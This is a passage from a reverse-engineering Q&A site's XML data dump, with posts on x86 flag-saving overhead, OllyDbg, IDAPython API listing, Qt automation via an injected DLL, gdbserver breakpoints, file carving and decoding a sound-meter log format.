process or what am I doing not correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance :-)&lt;/p&gt;&#xA;" OwnerUserId="12670" LastActivityDate="2015-07-16T09:30:29.123" Title="Unable to dump a process" Tags="|tools|debugging|malware|packers|dumping|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9348" PostTypeId="1" AcceptedAnswerId="9349" CreationDate="2015-07-14T18:22:16.527" Score="5" ViewCount="1641" Body="&lt;p&gt;the experiment is on &lt;code&gt;32-bit&lt;/code&gt; &lt;code&gt;x86&lt;/code&gt; Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am doing some static binary instrumentation work, and basically I am trying to insert some instructions below to the beginning of every basic block. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BB23 : push %eax&#xA;&#xA;movl index,%eax&#xA;movl $0x80823d0,buf(,%eax,0x4)&#xA;add $0x1,%eax&#xA;cmp $0x400000,%eax&#xA;jle BB_23_stub&#xA;movl $0x0,%eax&#xA;BB_23_stub:movl %eax,index&#xA;&#xA;pop %eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I need to use &lt;code&gt;cmp&lt;/code&gt; instruction, and in order to guarantee that &lt;code&gt;flags&lt;/code&gt; can restore to the original value, I use &lt;code&gt;pushf&lt;/code&gt; and &lt;code&gt;popf&lt;/code&gt; to store\load &lt;code&gt;flags&lt;/code&gt; on the stack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it becomes this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; BB_23 :    push %eax&#xA;       pushf               &#xA;       movl index,%eax&#xA;       movl $0x17,buf(,%eax,0x4)&#xA;       add $0x1,%eax&#xA;       cmp $0x400000,%eax&#xA;       jle BB_23_stub&#xA;       movl $0x0,%eax&#xA;BB_23_stub:movl %eax,index&#xA;       popf             &#xA;       pop %eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tested the performance with and without &lt;code&gt;pushf&lt;/code&gt; and &lt;code&gt;popf&lt;/code&gt; (I am using &lt;code&gt;gzip&lt;/code&gt; and &lt;code&gt;bzip&lt;/code&gt;). And to my surprise, performance penalty could increase  even 3 times after using the &lt;code&gt;pushf&lt;/code&gt; and &lt;code&gt;popf&lt;/code&gt; instructions!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, without &lt;code&gt;pushf&lt;/code&gt; and &lt;code&gt;popf&lt;/code&gt;. The compression results of &lt;code&gt;gzip&lt;/code&gt; and &lt;code&gt;bzip&lt;/code&gt; are incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is my question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why pushf and popf so slow? Am I using it in a correct way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot afford too much performance penalty introduced by pushf and popf. Is there any way I can avoid the high overhead and also keep the correct semantics? (protecting the value in flags, basically..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I clear enough? Could anyone give me some help?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="3215" LastEditDate="2015-09-19T02:49:13.177" LastActivityDate="2015-09-19T02:49:13.177" Title="Why are PUSHF and POPF so slow?" Tags="|binary-analysis|x86|instrumentation|binary|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9349" PostTypeId="2" ParentId="9348" CreationDate="2015-07-14T19:27:57.303" Score="9" Body="&lt;p&gt;Clever (some would say incomprehensible) misuse of x86 features could do this for you. The &lt;code&gt;loop&lt;/code&gt; instruction will decrement the &lt;code&gt;ecx&lt;/code&gt; register, jump if it's nonzero, and not modify flags. You can use this as a &lt;code&gt;jump forward&lt;/code&gt; instruction as well, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BB23:      push %ecx&#xA;           movl index, %ecx&#xA;           movl $0x17, buf-4(,%ecx,4)&#xA;           loop BB23_stub&#xA;           movl $0x400000, %ecx&#xA;BB23_stub: movl %ecx, index&#xA;           pop %ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that ecx runs from 0x400000 to 1 here, not from 0 to 0x3fffff, so i had to subtract &lt;code&gt;4&lt;/code&gt; from the address of &lt;code&gt;buf&lt;/code&gt;, and you need to read the buffer top to bottom when analyzing it. Don't forget to initialize &lt;code&gt;index&lt;/code&gt; to &lt;code&gt;0x400000&lt;/code&gt; at the start of your code somewhere. You'll have to test how much the penalty of  branching in &lt;code&gt;loop&lt;/code&gt; costs in comparison to how much removing &lt;code&gt;pushf&lt;/code&gt;/&lt;code&gt;popf&lt;/code&gt; gains.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-07-14T19:27:57.303" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9350" PostTypeId="1" CreationDate="2015-07-15T00:29:43.193" Score="0" ViewCount="699" Body="&lt;p&gt;I have no idea how, when or why, but now, the &quot;&lt;em&gt;default address&lt;/em&gt;&quot; (the one executed when pressing &lt;kbd&gt;F9&lt;/kbd&gt;) is &lt;code&gt;0x77960884&lt;/code&gt;. It should be &lt;code&gt;0x00401000&lt;/code&gt; (when I manually go to &lt;code&gt;0x00401000&lt;/code&gt;, everything works).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, I manually have to change the Origin every time I run &lt;em&gt;any&lt;/em&gt; program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, restarting Windows / reinstalling OllyDBG doesn't fix it. A few hours ago it was working fine, but now... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea.&lt;/p&gt;&#xA;" OwnerUserId="13012" LastEditorUserId="53" LastEditDate="2015-07-15T07:48:09.143" LastActivityDate="2023-12-23T07:08:31.020" Title="Wrong default starting address" Tags="|ollydbg|debugging|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9352" PostTypeId="1" CreationDate="2015-07-15T02:50:37.030" Score="3" ViewCount="5525" Body="&lt;p&gt;is there a way to get a listing of all called APIs in a function via IDAPython. For example I have the below code from a function. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:003A33D9                 call    esi ; _snwprintf&#xA;.text:003A33DB                 add     esp, 1Ch&#xA;.text:003A33DE                 mov     eax, 3A4336h&#xA;.text:003A33E3                 push    ebx             ; dwReserved&#xA;.text:003A33E4                 mov     [ebp+var_C], eax&#xA;.text:003A33E7                 mov     [ebp+var_8], eax&#xA;.text:003A33EA                 push    0Ch             ; dwBufferLength&#xA;.text:003A33EC                 lea     eax, [ebp+pBuffer]&#xA;.text:003A33EF                 push    eax             ; pBuffer&#xA;.text:003A33F0                 push    26h             ; dwOption&#xA;.text:003A33F2                 mov     [ebp+pBuffer], 1&#xA;.text:003A33F9                 call    ds:UrlMkSetSessionOption&#xA;.text:003A33FF                 lea     eax, [ebp+szUrlName]&#xA;.text:003A3405                 push    eax             ; lpszUrlName&#xA;.text:003A3406                 call    ds:DeleteUrlCacheEntryW&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to get all the API calls ( _snwprintf, UrlMkSetSessionOption, DeleteUrlCacheEntryW, etc). The following IDAPython function can be used to get most of them. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_apis(func_addr):&#xA;        calls = 0&#xA;        apis = []&#xA;        flags = GetFunctionFlags(func_addr)&#xA;        # ignore library functions&#xA;        if flags &amp;amp; FUNC_LIB or flags &amp;amp; FUNC_THUNK:&#xA;            logging.debug(&quot;get_apis: Library code or thunk&quot;)&#xA;            return None&#xA;        # list of addresses&#xA;        dism_addr = list(FuncItems(func_addr))&#xA;        for instr in dism_addr:&#xA;            tmp_api_address = &quot;&quot;&#xA;            if idaapi.is_call_insn(instr):&#xA;                # In theory an API address should only have one xrefs&#xA;                # The xrefs approach was used because I could not find how to&#xA;                # get the API name by address.&#xA;                for xref in XrefsFrom(instr, idaapi.XREF_FAR):&#xA;                    if xref.to == None:&#xA;                        calls += 1&#xA;                        continue&#xA;                    tmp_api_address = xref.to&#xA;                    break&#xA;                # get next instr since api address could not be found&#xA;                if tmp_api_address == &quot;&quot;:&#xA;                    calls += 1&#xA;                    continue&#xA;                api_flags = GetFunctionFlags(tmp_api_address)&#xA;                # check for lib code (api)&#xA;                if api_flags &amp;amp; idaapi.FUNC_LIB == True or api_flags &amp;amp; idaapi.FUNC_THUNK:&#xA;                    tmp_api_name = NameEx(0, tmp_api_address)&#xA;                    if tmp_api_name:&#xA;                        apis.append(tmp_api_name)&#xA;                else:&#xA;                    calls += 1&#xA;        return (calls, apis&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output         &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;get_apis(here())&#xA;(18, ['UrlMkSetSessionOption', 'DeleteUrlCacheEntryW', 'URLDownloadToFileW', 'GetModuleFileNameW', 'CreateProcessW', 'Sleep', 'ExitProcess', 'RtlGetLastWin32Error', 'byte_3A3E45', 'RtlGetLastWin32Error'])        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue I'm having is &lt;code&gt;call  esi ; _snwprintf&lt;/code&gt; is not present. I understand I could use backtracing to find the value of ESI but I'd like to find another approach. Is there a more reliable technique for getting all APIs in a function? Similar data is present in the proximity browser. &lt;/p&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2015-07-15T11:05:15.007" Title="Finding all API calls in a function" Tags="|ida|idapython|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9353" PostTypeId="1" CreationDate="2015-07-15T06:58:54.667" Score="3" ViewCount="129" Body="&lt;p&gt;I have injected a DLL into an external application that is based on the QT framework. I, then, use the method &lt;code&gt;QApplication::allWidgets()&lt;/code&gt; and iterate through the list of widgets to find a &lt;code&gt;QGraphicsView&lt;/code&gt; that represents the window I want to interact with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The buttons and other controls in the scene are all derived from &lt;code&gt;QGraphicsObject&lt;/code&gt;. But, I don't have the source. So, I can only cast to &lt;code&gt;QGraphicsObject&lt;/code&gt; and not to the actual type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list of methods from the meta-object is incomplete, which is to be expected, because I cast to a &lt;code&gt;QGraphicsObject&lt;/code&gt;. I can find the method names using IDA though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to call a particular method, and how would you do it?&lt;/p&gt;&#xA;" OwnerUserId="13018" LastEditorUserId="53" LastEditDate="2015-07-15T07:51:01.410" LastActivityDate="2015-07-15T07:51:01.410" Title="Automating a custom QGraphicsObject control in an external QT based process" Tags="|automation|injection|qt|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9354" PostTypeId="2" ParentId="9316" CreationDate="2015-07-15T08:02:37.207" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.free-decompiler.com/flash/&quot; rel=&quot;nofollow&quot;&gt;JPEXS Free Flash Decompiler &lt;/a&gt; Is an another great SWF decompiler. It will show you the actionscript code of the game file which will help you understand the logic of the game.   &lt;/p&gt;&#xA;" OwnerUserId="3461" LastActivityDate="2015-07-15T08:02:37.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9355" PostTypeId="2" ParentId="9352" CreationDate="2015-07-15T11:05:15.007" Score="2" Body="&lt;p&gt;an idc script that scans for Register calls and prints them&lt;br&gt;&#xA;( this script is using text search because ida wild card &lt;b&gt;?&lt;/b&gt; appears to be useless for masking&lt;br&gt;&#xA;ie we cant search binary like &lt;b&gt; FF D? &lt;/b&gt;  so that all binary sequences &lt;b&gt;&quot;ff d0&quot;,&quot;ff d1&quot;,&quot;ff d2&quot;,etc&lt;/b&gt; can be searched at once) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;static main (void) {&#xA;  auto offset,count;&#xA;  count = 1;&#xA;  offset= MinEA();&#xA;  while(offset != BADADDR) {&#xA;    offset = FindText(offset+2,3,0,0,&quot;call    e&quot;);&#xA;    Message(&#xA;    &quot;%03d %08x %s %s %s\n&quot;,&#xA;    count++,&#xA;    offset,&#xA;    GetMnem(offset),&#xA;    GetOpnd(offset,0),&#xA;    Name(Dfirst(offset))&#xA;    );&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result on calc.exe xp sp3 x86&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Compiling file 'C:\Documents and Settings\Admin\My Documents\callreg.idc'...&#xA;Executing function 'main'...&#xA;001 01001682 call esi CharNextW&#xA;002 010016ba call esi CharNextW&#xA;003 01001713 call esi &#xA;004 01001740 call esi &#xA;005 0100178b call esi &#xA;006 010017b4 call esi &#xA;007 01001a74 call esi GetProfileStringW&#xA;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#xA;069 01007b5d call esi LoadLibraryA&#xA;070 01007ba0 call eax &#xA;071 0101248a call edi GetModuleHandleA&#xA;072 010125e1 call edi GetModuleHandleA&#xA;073 ffffffff   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-07-15T11:05:15.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9356" PostTypeId="1" CreationDate="2015-07-15T20:10:13.767" Score="1" ViewCount="389" Body="&lt;p&gt;I'm debugging a vulnerable app on a remote host. I've set up &lt;code&gt;gbserver&lt;/code&gt; on the host with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdbserver host:1234 /my/target/app&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On my local host I've connected with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb /same/target/app&#xA;gdb$ target extended-remote 192.168.0.100:1234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I connect successfully and can proceed to set a breakpoint on a target instruction, ie:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$gdb disas vuln_function&#xA;....&#xA;   0x08048e6b &amp;lt;+116&amp;gt;:   ret&#xA;End of assembler dump.&#xA;gdb$ b *0x08048e6b&#xA;Breakpoint 1 at 0x8048e6b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at the disassembled function code and having tested this on the host itself, I'm 100% sure I'm breaking on the right address and in any case I'm triggering a buffer overflow which should make &lt;code&gt;gdb&lt;/code&gt; break by itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But instead of getting the usual breakpoint on my &lt;code&gt;gdb&lt;/code&gt; client, nothing happens. &lt;code&gt;gdbserver&lt;/code&gt; freezes on the BO (so I'm guessing it did break on the &lt;code&gt;ret&lt;/code&gt;) without throwing the &lt;code&gt;segfault&lt;/code&gt;. &lt;code&gt;gdb&lt;/code&gt; doesn't seem to be crashing or behaving abnormally other than not giving me a prompt on the breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a special way to set breakpoints when debugging with &lt;code&gt;gdbserver&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12806" LastActivityDate="2015-07-15T20:10:13.767" Title="gdbserver doesn't trigger breakpoints" Tags="|gdb|breakpoint|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9357" PostTypeId="2" ParentId="4238" CreationDate="2015-07-16T01:35:59.283" Score="1" Body="&lt;p&gt;Check out &lt;a href=&quot;https://bitbucket.org/haypo/hachoir/wiki/hachoir-subfile&quot; rel=&quot;nofollow&quot;&gt;hachoir-subfile&lt;/a&gt;. Example from their repo.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ hachoir-subfile chiens.PPS&#xA;[+] Start search (828.5 KB)&#xA;&#xA;[+] Found file at 0: Microsoft Office document&#xA;[+] Found file at 537 size=28449 (27.8 KB): JPEG picture: 433x300 pixels&#xA;[+] Found file at 29011 size=34761 (33.9 KB): JPEG picture: 433x300 pixels&#xA;[+] Found file at 63797 size=40326 (39.4 KB): JPEG picture: 433x300 pixels&#xA;[+] Found file at 104148 size=30641 (29.9 KB): JPEG picture: 433x300 pixels&#xA;[+] Found file at 134814 size=22782 (22.2 KB): JPEG picture: 384x325 pixels&#xA;[+] Found file at 157621 size=24744 (24.2 KB): JPEG picture: 443x313 pixels&#xA;[+] Found file at 182390 size=27241 (26.6 KB): JPEG picture: 443x290 pixels&#xA;[+] Found file at 209656 size=27407 (26.8 KB): JPEG picture: 443x336 pixels&#xA;[+] Found file at 237088 size=30088 (29.4 KB): JPEG picture: 388x336 pixels&#xA;[+] Found file at 267201 size=30239 (29.5 KB): JPEG picture: 366x336 pixels&#xA;[+] Found file at 297465 size=81634 (79.7 KB): JPEG picture: 630x472 pixels&#xA;[+] Found file at 379124 size=36142 (35.3 KB): JPEG picture: 599x432 pixels&#xA;[+] Found file at 415291 size=28801 (28.1 KB): JPEG picture: 443x303 pixels&#xA;[+] Found file at 444117 size=28283 (27.6 KB): JPEG picture: 433x300 pixels&#xA;[+] Found file at 472425 size=95913 (93.7 KB): PNG picture: 433x431x8&#xA;[+] Found file at 568363 size=219252 (214.1 KB): PNG picture: 532x390x8&#xA;[+] Found file at 811308 size=20644 (20.2 KB): Microsoft Windows Metafile (WMF) picture&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitbucket.org/snippets/Alexander_Hanel/EXKzg/extractsubfile&quot; rel=&quot;nofollow&quot;&gt;ExtractSubFile&lt;/a&gt; can be used if you need to carve out the files. &lt;/p&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2015-07-16T01:35:59.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9358" PostTypeId="2" ParentId="9309" CreationDate="2015-07-16T06:53:06.090" Score="3" Body="&lt;p&gt;Your file seems to go like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;51A0&#xA;52A0&#xA;52A0&#xA;53A0&#xA;53A0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;_&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;52A0 = 20:02:36&#xA;53A0 = 20:02:38 in dos time&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If its dos time it would make sense why every pattern(51A0, 52A0) is shown 2 times since dos time doesnt accept odd numbers as seconds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Theory 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont think anything natural such as sound would go DA,5A,DA,5A,DA,5A,DA,5A,DA,5A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I assume that DA shows the lower part and 5A is the higher part. (DA=+0 and 5A=+1)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5A 52 A0 = 20:02:36&#xA;DA 52 A0 = 20:02:37&#xA;5A 53 A0 = 20:02:38&#xA;DA 53 A0 = 20:02:39&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm dont know alot about measuring sound but I can make assumptions based on the first byte too. But this maybe wrong since you didnt give  any information about the sound you captured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st byte is Max: 0x47(71) Min: 0x8(8) on your file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the amazon page it says (30 ~ 130 Db)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8 wouldnt fit those ranges so I assume the first byte is an offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;130-30=100 -&gt; 0 &gt; x &gt; 100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every 4 byte has this information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct Frame{&#xA;  char SoundOffset;&#xA;  char TimeOffset;&#xA;  char DosTime[2];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wrote a sample code for your data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define _CRT_SECURE_NO_WARNINGS&#xA;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;#include &amp;lt;iostream&amp;gt;  &#xA;#include &amp;lt;fstream&amp;gt;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;using namespace std;&#xA;&#xA;&#xA;struct DosTime{&#xA;    int hour, minute, second;&#xA;    DosTime(char a1, char a2){&#xA;        char y[2] = { a1, a2 };&#xA;        INT16 * b = (INT16*)y;&#xA;        second = 2 * (*b &amp;amp; 31);&#xA;        minute = (*b &amp;amp; 2016) &amp;gt;&amp;gt; 5;&#xA;        hour = (*b &amp;amp; 63488) &amp;gt;&amp;gt; 11;&#xA;    }&#xA;    DosTime(){&#xA;        hour = 0;&#xA;        minute = 0;&#xA;        second = 0;&#xA;    }&#xA;};&#xA;struct Frame{&#xA;    char SoundOffset;&#xA;    char TimeOffset;&#xA;    char DosTime[2];&#xA;};&#xA;struct ConvertedFrame{&#xA;    int soundDB;&#xA;    DosTime time;&#xA;    void print(){&#xA;        cout &amp;lt;&amp;lt; &quot;Sound Level: &quot; &amp;lt;&amp;lt; soundDB &amp;lt;&amp;lt; &quot; dB @ &quot;;&#xA;        cout.fill('0'); cout.width(2); cout &amp;lt;&amp;lt; time.hour;&#xA;        cout &amp;lt;&amp;lt; &quot;:&quot;;&#xA;        cout.fill('0'); cout.width(2); cout &amp;lt;&amp;lt; time.minute;&#xA;        cout &amp;lt;&amp;lt; &quot;:&quot;;&#xA;        cout.fill('0'); cout.width(2); cout &amp;lt;&amp;lt; time.second;&#xA;        cout &amp;lt;&amp;lt; endl;&#xA;    }&#xA;};&#xA;int main(int argc, char* argv[])&#xA;{&#xA;&#xA;    int bytecount = 0;&#xA;&#xA;    ifstream inFile;&#xA;    inFile.open(&quot;FG8U0235.wsn&quot;, ios::in | ios::binary | ios::ate);&#xA;    inFile.seekg(0, ios::end);&#xA;    bytecount = inFile.tellg();&#xA;    inFile.seekg(0, ios::beg);&#xA;&#xA;    char * buffer = new char[bytecount];&#xA;    inFile.read(buffer, bytecount);&#xA;&#xA;    ConvertedFrame * frames = new ConvertedFrame[bytecount / 4];&#xA;    for (int i = 0; i &amp;lt; bytecount; i += 4){&#xA;        ConvertedFrame _con;&#xA;        Frame f;&#xA;        memcpy(&amp;amp;f, &amp;amp;buffer[i], 4);&#xA;        DosTime _t = DosTime(f.DosTime[0], f.DosTime[1]);&#xA;        if (f.TimeOffset == '\xDA')&#xA;            _t.second++;&#xA;        _con.time = _t;&#xA;        _con.soundDB = ((int)f.SoundOffset) + 30;&#xA;        frames[i / 4] = _con;&#xA;        _con.print();&#xA;    }&#xA;    system(&quot;pause&quot;);&#xA;    return 0;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sound Level: 61 dB @ 20:02:35&#xA;Sound Level: 55 dB @ 20:02:36&#xA;Sound Level: 55 dB @ 20:02:37&#xA;Sound Level: 70 dB @ 20:02:36&#xA;Sound Level: 70 dB @ 20:02:39&#xA;Sound Level: 66 dB @ 20:02:40&#xA;Sound Level: 56 dB @ 20:02:41&#xA;Sound Level: 72 dB @ 20:02:42&#xA;Sound Level: 68 dB @ 20:02:43&#xA;Sound Level: 68 dB @ 20:02:44&#xA;Sound Level: 38 dB @ 20:02:45&#xA;Sound Level: 101 dB @ 20:02:46&#xA;Sound Level: 83 dB @ 20:02:47&#xA;Sound Level: 80 dB @ 20:02:48&#xA;Sound Level: 89 dB @ 20:02:49&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Theory 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the site you gave us (&lt;a href=&quot;http://opensource.ebswift.com/RaspiMonitor/wensn/&quot; rel=&quot;nofollow&quot;&gt;http://opensource.ebswift.com/RaspiMonitor/wensn/&lt;/a&gt;), there was this function (&lt;strong&gt;dB = (byte1 + ((byte2 &amp;amp; 3) * 256)) * 0.1 + 30&lt;/strong&gt;) that made me think that maybe the 2nd byte is actually not the timeoffset but the 2nd byte for the dB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes dB Float instead of Integer which would make much more sense. Also the output I got from the 2nd theory felt much better so I assume this is the correct answer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define _CRT_SECURE_NO_WARNINGS&#xA;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;#include &amp;lt;fstream&amp;gt;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;using namespace std;&#xA;&#xA;struct DosTime{&#xA;    int hour, minute, second;&#xA;    INT16 data;&#xA;    DosTime(char a1, char a2){&#xA;        char y[2] = { a1, a2 };&#xA;        INT16 * b = (INT16*)y;&#xA;        second = 2 * (*b &amp;amp; 31);&#xA;        minute = (*b &amp;amp; 2016) &amp;gt;&amp;gt; 5;&#xA;        hour = (*b &amp;amp; 63488) &amp;gt;&amp;gt; 11;&#xA;        data = *b;&#xA;    }&#xA;    DosTime(){&#xA;        hour = 0;&#xA;        minute = 0;&#xA;        second = 0;&#xA;    }&#xA;};&#xA;struct Frame{&#xA;    char SoundOffset;&#xA;    char precisionOffset;&#xA;    char DosTime[2];&#xA;};&#xA;struct ConvertedFrame{&#xA;    float soundDB;&#xA;    DosTime time;&#xA;    void print(){&#xA;        cout &amp;lt;&amp;lt; &quot;Sound Level: &quot;;&#xA;        cout &amp;lt;&amp;lt; soundDB;&#xA;        if ((((int)soundDB) - soundDB) == 0) cout &amp;lt;&amp;lt; &quot;.0&quot;;&#xA;        cout &amp;lt;&amp;lt; &quot; dB @ &quot;;&#xA;        cout.fill('0'); cout.width(2); cout &amp;lt;&amp;lt; time.hour;&#xA;        cout &amp;lt;&amp;lt; &quot;:&quot;;&#xA;        cout.fill('0'); cout.width(2); cout &amp;lt;&amp;lt; time.minute;&#xA;        cout &amp;lt;&amp;lt; &quot;:&quot;;&#xA;        cout.fill('0'); cout.width(2); cout &amp;lt;&amp;lt; time.second;&#xA;        cout &amp;lt;&amp;lt; endl;&#xA;    }&#xA;};&#xA;int main(int argc, char* argv[])&#xA;{&#xA;    int bytecount = 0;&#xA;&#xA;    ifstream inFile;&#xA;    inFile.open(&quot;FG8U0235.wsn&quot;, ios::in | ios::binary | ios::ate);&#xA;    inFile.seekg(0, ios::end);&#xA;    bytecount = inFile.tellg();&#xA;    inFile.seekg(0, ios::beg);&#xA;&#xA;    char * buffer = new char[bytecount];&#xA;    inFile.read(buffer, bytecount);&#xA;&#xA;&#xA;    ConvertedFrame * frames = new ConvertedFrame[bytecount / 4];&#xA;&#xA;&#xA;    INT16 lastTime = 0;&#xA;    for (int i = 0; i &amp;lt; bytecount; i += 4){&#xA;        ConvertedFrame _con;&#xA;        Frame f;&#xA;        memcpy(&amp;amp;f, &amp;amp;buffer[i], 4);&#xA;        DosTime _t = DosTime(f.DosTime[0], f.DosTime[1]);&#xA;        if (lastTime == _t.data) _t.second++;&#xA;        lastTime = _t.data;&#xA;        _con.time = _t;&#xA;        _con.soundDB = (f.SoundOffset + ((f.precisionOffset &amp;amp; 3) * 256)) * 0.1 + 30;&#xA;        frames[i / 4] = _con;&#xA;        _con.print();&#xA;    }&#xA;    system(&quot;pause&quot;);&#xA;    return 0;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sound Level: 84.3 dB @ 20:02:34&#xA;Sound Level: 83.7 dB @ 20:02:36&#xA;Sound Level: 83.7 dB @ 20:02:37&#xA;Sound Level: 85.2 dB @ 20:02:38&#xA;Sound Level: 85.2 dB @ 20:02:39&#xA;Sound Level: 84.8 dB @ 20:02:40&#xA;Sound Level: 83.8 dB @ 20:02:41&#xA;Sound Level: 85.4 dB @ 20:02:42&#xA;Sound Level: 85.0 dB @ 20:02:43&#xA;Sound Level: 85.0 dB @ 20:02:44&#xA;Sound Level: 82.0 dB @ 20:02:45&#xA;Sound Level: 88.3 dB @ 20:02:46&#xA;Sound Level: 86.5 dB @ 20:02:47&#xA;Sound Level: 86.2 dB @ 20:02:48&#xA;Sound Level: 87.1 dB @ 20:02:49&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&#xA;To find which one is the correct one you need to write dB into a paper or something and then compare with the output you get from both codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you need to do the cleanup of ConvertedFrame * frames and char * buffer if you use this code and want to prevent memory leaks. I wrote this code pretty fast @ 4 am just to test the theory.&lt;/p&gt;&#xA;" OwnerUserId="13031" LastEditorUserId="13031" LastEditDate="2015-07-16T08:04:14.400" LastActivityDate="2015-07-16T08:04:14.400" CommentCount="0" ContentLicense="CC 